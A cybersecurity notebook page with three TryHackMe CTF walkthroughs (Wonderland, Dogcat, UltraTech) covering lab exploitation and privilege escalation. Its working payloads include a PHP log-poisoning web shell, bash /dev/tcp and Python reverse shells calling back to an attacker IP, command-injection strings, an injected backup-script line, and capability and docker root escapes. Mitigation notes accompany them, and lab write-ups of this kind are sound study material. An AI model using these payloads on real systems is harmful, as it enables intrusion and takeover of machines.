Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🛡️ My Cyber Notebook

Notes, references, and CTF writeups — stitched together with curiosity, reproducibility, and a mildly unhealthy love for automation.

GitHub TryHackMe LinkedIn Portfolio

Browse NotesSee WriteupsReference Hub


What this is

This book is a growing collection of concise notes, repeatable configs, and step-by-step writeups from my work in:

  • Linux hardening & privesc, network forensics, web exploitation, and reversing.
  • My homelab (Proxmox + LXC/Docker, segmented networks, Tailscale, TLS).
  • Ansible roles/playbooks for CIS/ANSSI-style hardening and lab automation.

Where helpful, pages are tagged (e.g., linux, privesc, web, pwn, ansible). If you have mdbook-tags enabled, you’ll get automatic tag indexes under /tags/….

“Document what you break, so you can break it better next time.”


Structure

  • Notes — short, focused pages: theory, commands, gotchas.
    Start here: notes/README.md
  • Writeups — full walkthroughs for TryHackMe, Root-Me, FCSC, etc.
    Start here: writeups/README.md
  • References — tools I reuse, shell snippets, bibliography.
    Start here: references/README.md

If search is enabled (mdbook-search), use the 🔍 bar to jump to commands or error strings.


Homelab snapshot

Homelab diagram

  • Segmented services (Pi-hole, Vaultwarden, Nextcloud AIO, Jellyfin, SIEMini).
  • LXC + Docker Compose + Ansible for repeatability.
  • Logs routed to a mini-SIEM (Snort3, Syslog-NG, Elastic/Kibana).

🛡️ Notes

This section is my technical notebook — a living collection of what I learn, test, and refine across cybersecurity, system administration, and software engineering.


I use these notes to:

  • Consolidate fragmented knowledge from CTFs, labs, and courses.
  • Record useful commands, configurations, and short explanations.
  • Bridge concepts between offensive, defensive, and operational security.

Linux

Permissions

Networking

Hardening

Web

SQL Injection

XSS

JWT

Reverse Engineering

Ghidra

Pwntools

Shellcode

Writeups

TryHackMe

Wonderland CTF

End‑to‑end exploitation path with commands, rationale, and mitigations.

Scope & Target

  • Host: 10.201.105.251
  • Goal: Obtain user and root flags
  • Methodology: Recon → Web enum → Initial access → Priv‑esc chain (alice → rabbit → hatter → root)

TL;DR Path

  1. Web enum discovers /r/a/b/b/i/t/ and reveals credentials alice:HowDothTheLittleCrocodileImproveHisShiningTail.
  2. SSH as alice.
  3. Sudo‑allowed Python as user rabbit executes /home/alice/walrus_and_the_carpenter.py; hijack Python module resolution with a malicious random.py to pop a shell as rabbit.
  4. Tea Party binary is vulnerable to PATH injection on date; craft /tmp/bin/date → shell as hatter.
  5. Enumerate capabilities; /usr/bin/perl has cap_setuid+ep. Use Perl to setuid(0) → root.
  6. Read flags.

Recon

Nmap

nmap -sV -Pn -oN nmap.txt 10.201.105.251
# 22/tcp open  ssh OpenSSH 7.6p1
# 80/tcp open  http Golang net/http server

Notes: Two exposed services, HTTP on 80 looks like a Go server, likely a light file server or app; SSH is present for potential credential reuse.

Content Discovery

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.105.251/FUZZ
# ... r (301), img (301), index.html (301)

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.105.251/r/FUZZ
# ... a (301)

Manual traversal suggests a rabbit‑hole (literally).


Web Enumeration → Credential Disclosure

Progressive path guessing:

curl http://10.201.105.251/r/
curl http://10.201.105.251/r/a/
curl http://10.201.105.251/r/a/b/b/i/t/

Final page contains a hidden line with credentials:

<p style="display: none;">
  alice:HowDothTheLittleCrocodileImproveHisShiningTail
</p>

Initial Foothold (SSH → alice)

ssh alice@10.201.105.251
whoami && id && ls -la
# user: alice

Interesting files:

  • ~/walrus_and_the_carpenter.py
  • ~/root.txt (not readable yet)

Sudo privileges:

sudo -l
# (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

alice → rabbit: Python Module Hijacking via random.py

walrus_and_the_carpenter.py:

import random
poem = """..."""
for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

Observation: Python’s import order puts the script directory early in sys.path. If we drop a random.py next to the target script, it will be imported instead of the stdlib random module.

Create malicious module:

# /home/alice/random.py
import os
os.execl('/bin/bash', 'bash', '-p')

Execute as rabbit via sudo:

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
whoami
# rabbit

rabbit → hatter: PATH Injection on teaParty

List rabbit’s home:

ls -la /home/rabbit
# teaParty (ELF or script)
/home/rabbit/teaParty
# Output includes: "Probably by Sun, 09 Nov 2025 00:46:02 +0000"
# The program likely calls `date` without an absolute path.

Exploit by shadowing date:

mkdir -p /tmp/bin
printf '#!/bin/sh\n/bin/sh -p\n' > /tmp/bin/date
chmod +x /tmp/bin/date
PATH=/tmp/bin:$PATH /home/rabbit/teaParty

id
# uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)

hatter → root: Linux Capabilities (Perl cap_setuid)

Enumerate capabilities:

getcap -r / 2>/dev/null
# /usr/bin/perl = cap_setuid+ep
# /usr/bin/perl5.x = cap_setuid+ep

Abuse with Perl:

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
id
# uid=0(root)

Loot (Flags)

cat /root/user.txt /home/alice/root.txt
# thm{"Curiouser and curiouser!"}
# thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}

Detection & Forensics Notes

  • Web access logs for /r/a/b/b/i/t/ reveal reconnaissance timeline.
  • .bash_history for alice, rabbit, hatter (if not restricted) exposes commands: sudo -u rabbit ..., PATH=/tmp/bin:$PATH ..., Perl setuid exploit.
  • File system artifacts:
    • /home/alice/random.py
    • /tmp/bin/date
  • auth.log / secure entries for escalations tied to sudo and SSH sessions.
  • getcap enumeration indicates misconfiguration (capability left on an interpreter).

Mitigations

  • Web app / Content: Don’t expose credentials in hidden DOM; move secrets to server‑side; apply content reviews.
  • Least privilege: Remove sudo rules that allow executing interpreters; if needed, whitelist exact binaries with absolute interpreter paths and NOEXEC mounts where possible.
  • Python imports: Execute with sanitized PYTHONPATH; vendor required modules; run with -I (isolated mode) or set sys.path explicitly.
  • PATH safety: In set‑uid or privileged binaries, use absolute paths for all external calls or drop privileges before invoking utilities.
  • Capabilities: Avoid granting cap_setuid to interpreters (Perl/Python). If required, wrap capability into a minimal, audited helper in C that drops privileges immediately after use.
  • Monitoring: Alert on capability changes (setcap), unexpected binaries in world‑writable directories (/tmp/bin/*), and suspicious sudo -u <otheruser> patterns.

Appendix — Full Command Log

# Recon
nmap -sV -Pn -oN nmap.txt 10.201.105.251
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.105.251/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.105.251/r/FUZZ
curl http://10.201.105.251/r/a/b/b/i/t/

# Initial access
ssh alice@10.201.105.251

# Escalate to rabbit
cat /home/alice/walrus_and_the_carpenter.py
printf 'import os\nos.execl(\"/bin/bash\",\"bash\",\"-p\")\n' > /home/alice/random.py
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

# Rabbit → Hatter (PATH injection)
mkdir -p /tmp/bin
printf '#!/bin/sh\n/bin/sh -p\n' > /tmp/bin/date
chmod +x /tmp/bin/date
PATH=/tmp/bin:$PATH /home/rabbit/teaParty

# Hatter → Root (capabilities)
getcap -r / 2>/dev/null | grep perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

# Proof
cat /root/user.txt /home/alice/root.txt

Dogcat CTF — Full Write-Up

TL;DR

  • Entry: PHP local file inclusion (LFI) via ?view= + path traversal and php://filter → source disclosure and /etc/passwd.
  • Execution: Log poisoning of Apache access log → include log to execute PHP → reverse shell.
  • PrivEsc #1 (container): SUID-bit on /usr/bin/envbash -proot in container.
  • PrivEsc #2 (host): Writable backup script in /opt/backups/backup.sh → command injection → root on host.
  • Loot: flag1 (web root), flag2 (FS), flag3 (container root), flag4 (host root).

Recon

![[writeups/tryhackme/dogcat/images/index.png]]

Port scan

nmap -sV -Pn -oN nmap.txt 10.201.127.166
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

Rationale: quick service discovery to pick the likely web attack surface. SSH noted but de-prioritized until creds/keys appear.

Content discovery

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.201.127.166/\?view\=FUZZ -fw 77
acatalog                [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 171ms]
alcatel                 [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 174ms]
application             [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 178ms]
[OMITTED]
curl 'http://10.201.127.166/?view=acatalog'
[OMITTED]
<b>Warning</b>:  include(tomcat.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  include(): Failed opening 'acatalog.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>24</b>

Observation: the app routes by view, returning 200 for many tokens, hinting at a server-side include pattern. Errors show include(<view>.php) from index.php. Hypothesis: LFI with extension control.


Vulnerability Analysis (LFI → RCE)

curl 'http://10.201.127.166/?view=php://filter/convert.base64-encode/resource=index' 
[OMITTED]
<br>
        Sorry, only dogs or cats are allowed.    </div>

Source disclosure via php://filter

curl 'http://10.201.127.166/?view=php://filter/convert.base64-encode/resource=dog/../index' 
[OMITTED]
PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==
echo "PCFET0NUWVBFIEhUTUw+..." | base64 -d
[OMITTED]
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	   $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>

Key insight: We can bypass file type enforcement using &ext= (empty) and use php://filter to read files. Also, the allowlist only gates the “happy path”; we can still hit the else branch and include arbitrary paths when paired with traversal.

Read arbitrary files (path traversal)

curl 'http://10.201.127.166/?view=php://filter/convert.base64-encode/resource=dog/../../../../etc/passwd&ext=' 

[OMITTED]
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo=    </div>

This confirms LFI + traversal and gives us OS context. At this point, two RCE paths are typical:

  1. php://input inclusion (if enabled), or
  2. Apache log poisoning → include the log. We chose log poisoning (more deterministic).

RCE via Apache log poisoning

  1. Poison log with a PHP payload in User-Agent:
curl -A '"<?php system($_GET[x]); ?>' 'http://10.201.51.13/?view=dog'
  1. Trigger inclusion of access log and execute a reverse shell:
# LFI include of access.log, no extension, run /bin/bash reverse shell
curl 'http://10.201.51.13/?view=dog/../../../../var/log/apache2/access.log&ext=&x=bash%20%2Dc%20%27exec%20bash%20%2Di%20%26%3E%2Fdev%2Ftcp%2F10%2E23%2E99%2E212%2F4444%20%3C%261%27'
# Listener
nc -lvnp 4444
Connection from 10.201.51.13:34398
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@6703c0ed25a3:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We land a www-data shell. Commentary: php://input could have been plan B if allow_url_include/stream wrappers were friendlier; logs were already confirmed readable, so poisoning was lower friction.


Post-Exploitation (Web Container)

Proofs & flags

# Web root
cat flag.php
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>

cat ../flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}

Thoughts: placing the first two flags in/near web root nudges the player to escalate further.

Privilege escalation (container → root)

SUID check:

find / -perm -4000 -ls 2>/dev/null
   402184     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /bin/mount
   402201     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /bin/su
   402208     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /bin/umount
   403077     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   403169     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   403179     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   403080     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   539630     44 -rwsr-sr-x   1 root     root        43680 Feb 28  2019 /usr/bin/env
   403126     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   539824    156 -rwsr-xr-x   1 root     root       157192 Feb  2  2020 /usr/bin/sudo

Exploit:

/usr/bin/env /bin/bash -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

cat /root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}

Comment: SUID env is a classic misconfig enabling bash -p (preserve privileges). Always strip SUID on generic binaries.


Lateral / Escape to Host Root

ls -a /
.dockerenv

Enumeration hinted at Dockerized environment (/.dockerenv). In /opt/backups:

ls -l /opt/backups
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

Writable backup.sh lets us inject a one-liner reverse shell to hijack whatever executes it (likely cron/systemd on host bind-mount):

echo -e "bash -i >& /dev/tcp/10.23.99.212/9999 0>&1" >> /opt/backups/backup.sh

# Host listener
nc -lnvp 9999

# Shell pops as root on host
root@dogcat:~# ls
container
flag4.txt
cat flag4.txt
# THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

Commentary: This is a build/backup pipeline abuse—executable under higher privileges outside the container boundary. Integrity of scripts under /opt/backups must be enforced with permissions and signing.

UltraTech CTF

Recon

Nmap

nmap -sV -Pn -oN nmap.txt 10.10.211.245 -p21,22,8081,31331 -sC
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.5
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8081/tcp  open  http    Node.js Express framework
31331/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Web Enumeration

ffuf

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.136.152:8081/FUZZ
auth                    [Status: 200, Size: 39, Words: 8, Lines: 1, Duration: 202ms]
ping                    [Status: 500, Size: 1094, Words: 52, Lines: 11, Duration: 123ms]

Endpoint behavior

Initial request:

curl 'http://10.10.216.51:8081/ping'

Response leaks stack trace:

TypeError: Cannot read property 'replace' of undefined
  at app.get (/home/www/api/index.js:45:29)

Inference: Express route does req.query.<param>.replace(...) then shells out to ping.

Param discovery

curl 'http://10.10.216.51:8081/ping?ip=localhost'                       
PING localhost(localhost6.localdomain6 (::1)) 56 data bytes
64 bytes from localhost6.localdomain6 (::1): icmp_seq=1 ttl=64 time=0.031 ms

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.031/0.031/0.031/0.000 ms

Filter characteristics

  • Testing basic commands injection technique such as semicolon ; or pipe |, found out they are stripped
  • Backticks and newlines survive

Proof of RCE

curl -G 'http://10.10.211.245:8081/pingip=127.0.0.1%0Aid'                                                
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
uid=1002(www) gid=1002(www) groups=1002(www)

Reverse Shell

curl 'http://10.10.211.245:8081/ping?ip=127.0.0.1%0Abash%20-c%20%22exec%20bash%20-i%20%3E/dev/tcp/10.23.99.212/4444%202%3E%261%20%3C%261%22'
nc -lvnp 4444
Connection from 10.10.211.245:54508
id
ls

This command worked but the shell was unstabble. A better reliability came from Python PTY.

curl -G 'http://10.10.211.245:8081/ping'   --data-urlencode $'ip=127.0.0.1`python - <<PY
import socket,os,pty
s=socket.socket()
s.connect(("10.23.99.212",4444))
for fd in (0,1,2): os.dup2(s.fileno(),fd)
pty.spawn("/bin/bash")
PY
echo 127.0.0.1`'
nc -lvnp 4444
Connection from 10.10.211.245:39338
www@ip-10-10-211-245:~/api$ id
id
uid=1002(www) gid=1002(www) groups=1002(www)

Linux Enumeration

Interesting file: SQLite DB

ls
# utech.db.sqlite

strings utech.db.sqlite
# CREATE TABLE users (login Varchar, password Varchar, type Int)
# r00t  f357a0c52799563c7c7b76c1e7543a32
# admin 0d0ea5111e3c1def594c1684e3b9be84

Crack hashes (raw MD5)

![[crackstation.png]] Using Crack station, we cracked r00t password

  • f357a0c52799563c7c7b76c1e7543a32n100906

admin password was also cracked.

Valid local users

grep /bin/bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
r00t:x:1001:1001::/home/r00t:/bin/bash
ubuntu:x:1003:1004:Ubuntu:/home/ubuntu:/bin/bash

Switch user

Use r00t : n100906 to move to an owned context:

# via shell on box (or SSH if permitted)
su - r00t
id
# uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

Privilege Escalation

r00t@ip-10-10-211-245:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

Being in docker is root-equivalent. No need to pull images; host already has bash:latest.

Method: bind-mount / and chroot

docker image ls -a
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
bash         latest    495d6437fc1e   6 years ago   15.8MB

docker run --rm -it -v /:/mnt --privileged bash:latest bash -lc 'chroot /mnt /bin/bash'

root@6896534b995b:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

Lessons Learned

  • Filters that delete a single metacharacter (;) are security theater; command substitution and newlines remain lethal.
  • Any user in docker is effectively root; treat group assignment as a privileged operation.
  • Hashes in app artifacts rapidly become credentials if they’re unsalted MD5.
  • Deny detailed error pages to unauthenticated clients—stack traces map the code path to the bug.

References

Tools

Command Cheatsheet

Bibliography